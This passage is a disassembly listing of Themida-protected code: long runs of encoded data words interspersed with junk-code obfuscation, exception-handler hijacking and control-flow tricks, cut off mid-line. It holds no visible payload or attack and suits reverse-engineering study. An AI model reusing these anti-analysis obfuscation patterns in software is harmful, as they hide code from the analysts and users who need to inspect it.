18042444h, 46000000h, 0E205C356h, 8D50911Eh, 17425085h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 8DF97D91h, 0C0837E17h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 56BF50B1h, 893DA10Eh, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0B334EBC3h, 64AF9D83h dd 0BFE9DBF1h, 274AB876h, 16C5BD8Bh, 6A0613h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 41C35040h, 182DEF8Dh dd 6A9C30h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0A3C35141h, 95FF0D83h, 61307F1h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 96C35747h, 8DBFCB99h dd 3139E38Dh, 6A8D8D5Ch, 6A0616A3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A7E1C350h dd 6330858Dh, 0FF1F57BCh, 0BD83FCD1h, 613173Dh, 47850F01h dd 8B000000h, 133029BDh, 6AFAB706h, 6050F902h, 66DA8B66h dd 8961F88Bh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 987E5EC3h, 9986951Dh, 0A8DBD03h dd 95FF0613h, 6131E95h, 0E7E9AAB3h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 617425Ah push 0 push esi call sub_5C0536 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0536 proc near ; CODE XREF: Themida_:005C052Ep arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5C0536 endp ; --------------------------------------------------------------------------- dw 0F98Ch ; --------------------------------------------------------------------------- pop esi aad 0E2h push cs das fimul word ptr [ebx] mov ebp, 613282Dh jmp loc_5C055E ; --------------------------------------------------------------------------- db 5Bh, 0A9h, 0CCh ; --------------------------------------------------------------------------- mov dl, 51h loc_5C055E: ; CODE XREF: Themida_:005C0554j mov edi, [ebp+61305F1h] lea eax, [ebp+6168F5Eh] mov edi, 8FC93Bh push eax jmp loc_5C057F ; --------------------------------------------------------------------------- align 2 dw 38A1h dd 4645F240h db 0A2h, 3Ah, 26h ; --------------------------------------------------------------------------- loc_5C057F: ; CODE XREF: Themida_:005C0570j mov [esp], eax xor di, 0FE29h push large dword ptr fs:0 mov ebx, [ebp+61301E5h] mov large fs:0, esp ja loc_5C05A7 sub [ebp+6132439h], esi loc_5C05A7: ; CODE XREF: Themida_:005C059Bj inc dword ptr [ebp+61316D9h] push 0 push edx call sub_5C05B8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C05B8 proc near ; CODE XREF: Themida_:005C05B0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5C05B8 endp ; --------------------------------------------------------------------------- dd 2C1184EAh, 81D6E574h, 1F1891E7h, 0FF6AFC24h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 42C35545h, 6CEA4C2Bh dd 9531580Fh, 6130C19h, 13D1B5FFh, 0BB660613h, 95FF1B99h dd 61331ADh, 118E9h, 85BD2900h, 0B0061323h, 0E65F5200h dd 12E970h, 5D1F0000h, 0DCCB883Bh, 441D41B2h, 0B5526A9Bh dd 0F054A652h, 13E971E4h, 86000000h, 0A8CCFFDCh, 0FB333A91h dd 7E7C64CCh, 0D5C7BE2Eh, 3CFCDCE1h, 0D2830F61h, 60000000h dd 5E9h, 15836B00h, 8589A87Bh, 6133511h, 0C8B60F61h, 6BAD88Ah dd 8B000000h, 0E19D8BC1h, 0C1061323h, 9D8904E8h, 61301F5h dd 89E2F766h, 131411BDh, 23C82B06h, 131FF5BDh, 0BD18B06h dd 130961BDh, 6E906h, 0B5290000h, 6131425h, 2FCD858Bh dd 8D890613h, 6132255h, 6607C083h, 83B226BFh, 0BD8B00C0h dd 61331E5h, 830FD03Bh, 10h, 0CB5CDCBBh, 53E961h, 0BD090000h dd 613233Dh, 16A18D8Bh, 8E90613h, 0D4000000h, 57B0D7A9h dd 832F54B3h, 840F01E1h, 31h, 0EE9h, 3876DD00h, 3D2C08FFh dd 0A296E20Dh, 83ACBC2Ah, 1316A1A5h, 0BD89FE06h, 6131EC1h dd 2FCD9589h, 890F0613h, 0 ; --------------------------------------------------------------------------- jmp $+5 lea esi, [ebp+616DB8Bh] mov di, ax push 0 mov ebx, [ebp+6131AEDh] adc di, 0C8D4h call dword ptr [ebp+6130DA9h] push 0 push ebx call sub_5C0754 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0754 proc near ; CODE XREF: Themida_:005C074Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5C0754 endp ; --------------------------------------------------------------------------- inc ebx cmc mov eax, ds:0A84CD19Bh adc [eax], ecx db 3Eh mov bl, 8Dh mov ecx, 889h sub [ebp+61318E1h], edx and ecx, 0FFFFFFFCh and ebx, [ebp+613063Dh] stc cld pusha mov bx, cx mov di, si popa mov eax, 0 push 0 push esi call sub_5C079E and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C079E proc near ; CODE XREF: Themida_:005C0796p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5C079E endp ; --------------------------------------------------------------------------- or al, 1Ch imul ecx, [ebx+132C599Dh], 6 sub edx, edx push 0 push ecx call sub_5C07C4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C07C4 proc near ; CODE XREF: Themida_:005C07BCp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5C07C4 endp ; --------------------------------------------------------------------------- dd 6E2F1E38h, 14F5BD8Bh, 33AD0613h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 1AC69CC3h, 5FC61BBEh, 0BD33EE74h, 6131A01h dd 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0E0A6E69Fh, 958BD98Bh, 6131BBDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 78C35242h dd 2D63EF23h, 0DD8D8B04h, 6A061318h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6B4AC350h dd 8C3FA23Dh, 8B66B741h, 959D8BFBh, 50061325h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 315716BFh dd 13198585h, 0F7816606h, 0BD836813h, 6131D1Dh, 7D840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 6670C357h, 0B70FF98Bh, 0B8D8h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8983E5C3h, 132A358Dh, 8D8D8D06h, 8A06134Fh dd 6AE1FFDEh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0CD6EC350h, 0D11143DFh, 0D781206Ah dd 647F8FFCh, 3055BD83h, 0F000613h, 3BA84h, 7CEF8000h dd 3055BD83h, 0F010613h, 3C584h, 83FA8B00h, 133055BDh dd 860F0306h, 380h, 1B318589h, 0E9600613h, 12h, 1A3BC6Fh dd 0F42AAAFBh, 0E0C0341Ah, 47351328h, 9589B124h, 6133075h dd 51D98C66h, 1BCDBD8Bh, 665F0613h, 44F8CF81h, 904E180h dd 131FD19Dh, 0FC90A06h, 0E684h, 0BE666000h, 0BD898BE8h dd 6132C75h, 0B9858B61h, 6A06132Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0A317C353h dd 396DE772h, 0A195894Bh, 33061308h, 1305B985h, 0F8BF0F06h dd 91B75350h, 2404895Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 4AC35040h, 2BE5D049h, 131AF99Dh, 0E9006A06h dd 0Fh, 871D517h, 408FCD9Eh, 3E03A5A3h, 68E9EAF3h, 9ACD55C4h dd 81FE8B66h, 0AE3B2404h, 800F6551h, 6, 159589h, 95FF0613h dd 6130A3Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 22C35141h, 94F822B5h, 0FC8C4CF5h, 23799D2Bh, 85890613h dd 616C454h, 2B008CBFh, 1EBE96Ah, 0D88B0000h, 8BF9C380h dd 16C44C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 9F26BD7Dh, 0FAEE3C0Dh, 14E9BAA0h dd 6B000000h, 6A58D680h, 33C63771h, 0FC164247h, 0EEEA863h dd 0E91870E3h, 5, 0EF8CCD1Dh, 1800C792h, 0F000000h, 28Ah dd 8BD98B00h, 16C450B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 8BCA62Ah, 85BD8B63h, 8B061330h dd 132A5585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BD0B2D1Bh, 6131CC9h, 0AE80689h dd 4F000000h, 0F83AB423h, 98767DFCh, 3840FA5h, 80000000h dd 665FA5DBh, 0C961EF81h, 2BB9858Bh, 0BD8B0613h, 6131FB1h dd 6A044689h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 9317C357h, 8119BEA8h, 9D6306CFh dd 7EB39658h, 6A9650h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0CC9714C3h, 85374640h, 6C99D0Bh dd 0B5FF0613h, 616C44Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0F7C35545h, 50AA59DEh, 0E439BC6Dh, 0AE8F585h dd 4E000000h, 0CCC2327h, 0C4FC91B2h, 5F5B56CAh, 144A8C68h dd 0AE87Ah, 603B0000h, 0C5C3B4CAh, 5A14893Fh, 8E9h, 0F87DB600h dd 2E9A4179h, 34815F62h, 0B497324h, 54858D7Ah, 890616C4h dd 1313AD85h, 0D19D8B06h, 90061325h, 0D98B5250h, 5250310Fh dd 8B66310Fh, 5A585AD9h, 60605058h, 310F5250h, 5250585Ah dd 585A310Fh, 61605361h, 8B906159h, 130BAD9Dh, 3D95FF06h dd 8B06130Ah, 1305359Dh, 6A6106h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 562865C3h, 1F359D89h dd 0C75B0613h, 13305585h, 306h, 0F5B58900h, 8306131Dh dd 16C454BDh, 840F0006h, 2Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 3BC35747h, 5E9h, 0CCF69B00h dd 1CE9C411h, 0FC000000h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 6990C356h, 895F7102h dd 8B8D6074h, 59D8BFAh, 6A061317h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 76E3C350h dd 0F94CB1F6h, 3055BD83h, 0F030613h, 50C85h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 9412FB49h, 8B6646A7h, 959529F8h, 83061305h, 16C454BDh dd 840F0006h, 4D5h, 10E9h, 360A3800h, 0F761A067h, 8BE18A6Ch dd 0AC95237Eh, 54B5FF0Bh, 6A0616C4h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 6F88C353h dd 0B3565981h, 8D295F18h, 6130919h, 96995FFh, 6A0613h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 6A7C10C3h, 0D8ADA52Dh, 1C099D8Bh, 85090613h, 6130A01h dd 0C448B58Bh, 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0CDA2CBC3h, 9A6D4E6Bh, 8E0FB9C2h dd 6, 1B1DBD89h, 6C70613h, 10001h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 81C35646h, 0D18589B7h, 96061325h dd 50D88B66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 7A66F9C4h, 9379BA39h, 0E6CABB66h dd 0B5FF6DB3h, 616C454h, 3CEEBB66h, 322995FFh, 89560613h dd 13151985h, 0B58B5F06h, 616C448h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0C1C35141h, 5D859856h, 0C1E0AF59h dd 1E819589h, 858B0613h, 6130631h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 42C35242h, 0CB81D2FFh, 4EA2497Eh dd 8689DA8Bh, 0C4h, 8BF8BF0Fh, 131BBD95h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8BCB06F5h, 133489BDh, 4C28306h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 24C35545h, 0C427192Ch, 8E0F7C97h dd 6, 5FBB6651h, 50895BD9h, 52006A20h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 35BD2B2Eh dd 8D061309h, 16D8E385h, 0EDBD2306h, 81061322h, 0EF6FDFEFh dd 0B8868946h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0AB32C356h, 0FCC85E22h dd 1D199D8Bh, 6A0613h, 0D19EEF81h, 0B5FF425Eh, 616C454h dd 0FFDF8B66h, 131E9595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 5D1E76BBh dd 0CE8060A4h, 0E585890Eh, 61061320h, 12880F96h, 0E8000000h dd 6, 9C24848Fh, 5250A9F2h, 585A310Fh, 0BF66505Fh, 6A964B4Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1C4BC350h, 0FDA8B66h, 198Ah, 14E900h, 756E0000h dd 7426501Dh, 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh dd 616C454h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0CFC35646h, 0FAEF8166h, 4595FF70h, 6A061321h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 9323C356h, 28002694h, 13E9B3h, 0C87C0000h, 6CBF646Dh dd 0D6647E92h, 97541B94h, 7F298F0Ch, 95BD8322h, 61314h dd 47840Fh, 0BD8B0000h, 6132201h, 57525096h, 70A8BB66h dd 5A310F5Fh, 6A965058h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 6ECCC351h, 101E5394h dd 2923B216h, 8E9h, 4949B500h, 1D8EE255h, 54B5FF7Bh, 6A0616C4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 3A3BC352h, 553C4225h, 5E972C7h, 0E2000000h dd 0FE84194Bh, 5AD95FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0FABCD8C3h, 0ADBD8B46h dd 0FF061311h, 16C454B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 1D4EDB00h dd 0EE3279BBh, 860F10D0h, 6, 11E58531h, 95FF0613h, 6131209h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 57C35141h dd 1DD9D0Bh, 0BD830613h, 6130511h, 44840F02h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 56E3C350h, 8D9FBB7Ah, 8F0F1CB4h, 6, 15018509h dd 858B0613h, 6130F55h, 0DA66CB81h, 0C65BE2h, 41BD8B00h dd 0C7061321h, 131E5185h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66B679h dd 0F314E9DAh, 8589FFFFh, 6130F01h, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5BB830C3h dd 24273911h, 0FE84C11h, 41000000h, 0A0D377F5h, 7E39C65Dh dd 6EC042C1h, 8B66A000h, 858D5BDEh, 6131EA9h, 66902EB3h dd 501CDEBBh, 5820F52h, 0BF000000h, 18F06F17h, 6A905Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 6E3C8DC3h, 8166F88Bh, 6ABD33C3h, 0A5BF6600h, 66006A7Fh dd 858DFE8Bh, 6175239h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0D1C35646h, 0A6A1E670h, 2EFE1E39h, 85BD8B3Eh dd 8306130Eh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 2DDADC3h, 0B1DC605Dh, 8E9h, 0B5427400h dd 0E4BF2C42h, 48950F3h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 46A6A4FDh, 6A006A4Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0A782C355h, 6A6814h, 8ABCBB66h, 87C78166h dd 0F195FF19h, 6A061307h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 9D41C352h, 9E127515h dd 8B718157h, 1324859Dh, 6A8D8D06h, 6A0616A3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0E2F2C352h, 60A34D55h, 0D1FF2BE2h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 56C35141h, 0CEC78144h, 83450363h dd 13173DBDh, 850F0106h, 73h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 87C35343h, 0A03CBF34h, 26A7D6Ch dd 5BF98B53h, 66525050h, 0F25E9BFh, 0DF8B6631h, 489585Ah dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0BD1E565Fh, 898A12C9h, 131A0D85h, 33E38106h dd 606EDD37h, 61F7B70Fh, 1E9595FFh, 0E9FC0613h, 0D6Eh dd 0E8h, 0ED815D00h, 6175243h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 7CC35141h, 8DBD8B6Fh, 6A06132Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 25E5C355h, 982FF8A3h, 0C07830F4h, 0FE860h dd 75190000h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h, 0F5FF559h dd 8D61FFBFh, 168F5E85h, 8B0F6006h, 6, 34D5BD2Bh, 820F0613h dd 1, 0F5061F5h, 1983h, 13E800h, 9BD0000h, 0BEBB3CE8h dd 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 4895BD8h, 9D9D2324h dd 64061325h, 35FFh, 81520000h, 39E733F7h, 11E85B4Ch, 47000000h dd 9AC935B5h, 29B83E26h, 41457F82h, 0CA2C5F2Eh, 18F1B589h dd 645B0613h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0EF1DDAC3h, 0B4B3B77Dh dd 0D985FF0Ah, 6A061316h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 8E7BC352h, 9D8BAAD4h dd 6132841h, 0AF0FBB66h, 0B70FFF6Ah, 95B5FFF9h, 0BB06131Ah dd 7B4C2B5Fh, 31AD95FFh, 24E90613h, 0F9000001h, 5AB700B0h dd 800F70E6h, 18h, 13E9h, 2F268D00h, 0F6FBAD06h, 0B8617B6Ch dd 0CDEC3E72h, 0D8A7085h, 0C38071E4h, 0F613C10h, 0F283h dd 0AE900h, 0EADD0000h, 20BDFF13h, 257954D5h, 52C8B60Fh dd 69E76BBBh, 6BA5F2Ah, 66000000h, 0BD8BFB8Bh, 6131689h dd 0BABBC18Bh, 0C11B8E28h, 8E904E8h, 97000000h, 496705B5h dd 66F3A68Bh, 860FE2F7h, 6, 2D0D9D2Bh, 0BF0F0613h, 0B7C82BF9h dd 66D18BE0h, 0DF80D88Bh, 6E932h, 9D8B0000h, 613054Dh dd 1095858Bh, 83F50613h, 0DF8107C0h, 776A09CAh, 3B00C083h dd 0F830FD0h, 66000000h, 0E9CEFCBBh, 67h, 8747BFF9h, 8D8B1526h dd 6131461h, 8D0F5B50h, 16h, 0CE8h, 16051A00h, 0EF93AC5Dh dd 0ED1DA093h, 29BF6698h, 0E1835F4Dh, 34840F01h, 51000000h dd 5E19529h, 835F0613h, 131461A5h, 9D0BFE06h, 6131675h dd 10959589h, 880F0613h, 0Eh, 0E99D8B60h, 0F061330h, 8Fh dd 0E96100h, 8D000000h, 16E639B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 1F769AB9h dd 2369BD29h, 6A0613h, 6850Fh, 9D8B0000h, 6132D29h, 0DA995FFh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 77B5B9C3h, 0D381FA13h, 4B34AFE9h, 0DBEB9h dd 0A99D8B00h, 83061311h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0D20EEFC3h, 0D527205Fh dd 6AFCFA8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 4675C353h, 0CD39C7D2h, 0C02BC270h dd 0EE9h, 7F5FB700h, 0D099CD58h, 0CDCDC4D5h, 0BA2C2E3Ch dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5C185F and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C185F proc near ; CODE XREF: Themida_:005C1857p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5C185F endp ; --------------------------------------------------------------------------- db 80h ; --------------------------------------------------------------------------- or [ebp-4EC86D39h], esi jmp loc_5C1880 ; --------------------------------------------------------------------------- db 11h dd 0B1A1EBA0h ; --------------------------------------------------------------------------- loc_5C1880: ; CODE XREF: Themida_:005C1876j ; Themida_:005C188Aj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C1880 push 0 push ebp call sub_5C1897 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C1897 proc near ; CODE XREF: Themida_:005C188Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C1897 endp ; --------------------------------------------------------------------------- db 0EEh dd 0D7B8ECDBh, 0AE839h, 2FF40000h, 863B23E4h, 5F6EB957h dd 11BD9D2Bh, 895F0613h, 1328DDBDh, 0DDF8B06h, 88h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D0C35141h, 23395576h dd 40DD8B7Eh, 8BF98B66h, 131BBD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0A671CB0Bh dd 0DB8195C9h, 73AD2E4Dh, 18DD8D8Bh, 850F0613h, 3, 50DF8B66h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 6E958h dd 0A1730000h, 0A09DDAA9h, 13E9h, 0AA76BF00h, 0E2A1CA07h dd 35FA25E2h, 825E818h, 4610EE72h, 3840Fh, 0BF0F0000h dd 1DBD83D8h, 6131Dh, 6D840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0A365C2C3h dd 3DD254B8h, 21399D89h, 0B80613h, 0E9000000h, 5, 0D39078E0h dd 8D8D8DEBh, 8B06134Fh, 1301399Dh, 6AE1FF06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 854CC357h, 702E9899h, 61BD897Dh, 8306130Bh, 133055BDh dd 840F0006h, 439h, 83FAB70Fh, 133055BDh, 840F0106h, 444h dd 0A7DBD8Bh, 0BD830613h, 6133055h, 0FB860F03h, 81000003h dd 8F262E3h, 6A6053h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 0F95461C3h, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 2EFBC357h, 87ABFDF1h, 8B661893h, 199D33FBh, 8006131Ch dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0AF4F71C3h, 5AF05386h, 0B4BF76DFh, 0A7018A8h dd 15840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 11A7C353h, 29EAB36Dh dd 0C099D8Bh, 0F1B30613h, 2BB9858Bh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 246ABDC3h dd 0B98533AAh, 6A061305h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0BFC5C353h, 53230266h dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 4FA9C351h, 0FC006AD7h dd 48F93268h, 909ABF3Ah, 34813534h, 57FACD24h, 5BD8B3Ah dd 66061324h, 0AA43CB81h, 0A3D95FFh, 85890613h, 616C454h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E2C35545h dd 0BD8B805Dh, 61306FDh, 21FE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 624A14B9h dd 915A3A2Eh, 122ABB66h, 0C44C858Bh, 9D0B0616h, 61324ADh dd 1800C7h, 870F0000h, 0Ch, 6800Fh, 0B5090000h, 613282Dh dd 0C450B58Bh, 0BD310616h, 6133085h, 2A55858Bh, 6890613h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h dd 71BCE59Ah, 8BDD5EF1h, 132BB985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E862D6CAh dd 0Fh, 0E31BA175h, 274AA3EFh, 190CC9BFh, 31055847h, 1309898Dh dd 46895F06h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 99D49363h, 8D895BE9h, 6131D59h, 0EE9h dd 0C4E2FB00h, 0E004FD60h, 0C53ADBCCh, 96B95100h, 0BE857h dd 73310000h, 8FC55391h, 0FEE006C8h, 12E978h, 0CB300000h dd 6D6FA4A4h, 428362F1h, 0E3328CFAh, 42B54274h, 0BB505B5Fh dd 433D6549h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0B70FEF43h, 4CB5FFDEh, 6A0616C4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 10CDC352h, 1BABB1AFh, 0E8C5923Dh, 46AEBF66h dd 0E143C968h, 815F522Bh, 40362434h, 6A2BFEh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0D69403C3h dd 35FB5A44h, 8915393Fh, 1309E5B5h, 54858D06h, 6A0616C4h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 97FDC357h, 65AB2B3Fh, 10599D89h, 57500613h dd 57296FBBh, 4895F68h, 0EDBD8B24h, 0FF06130Bh, 130A3D95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BF0FD8CDh, 0CCE780DFh, 0E19D8B61h, 0C7061315h dd 13305585h, 306h, 8B0F00h, 60000000h, 0BD8361F9h, 616C454h dd 3F840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0FBA1C353h, 0DD25170Ah dd 0E12A390Ah, 0CEBAB8BFh, 0BE666055h, 57B98ADDh, 6114D2B4h dd 20E9h, 0D446BF00h, 305045E7h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0EE9C0h, 34AD0000h dd 7D47248Dh, 9FED1A9Fh, 43209B4Ah, 73C38166h, 55BD8375h dd 3061330h, 3B5850Fh, 9D010000h, 6132425h, 5F9FB351h dd 0C454BD83h, 0F000616h, 39E84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 9C7326D9h dd 4529B533h, 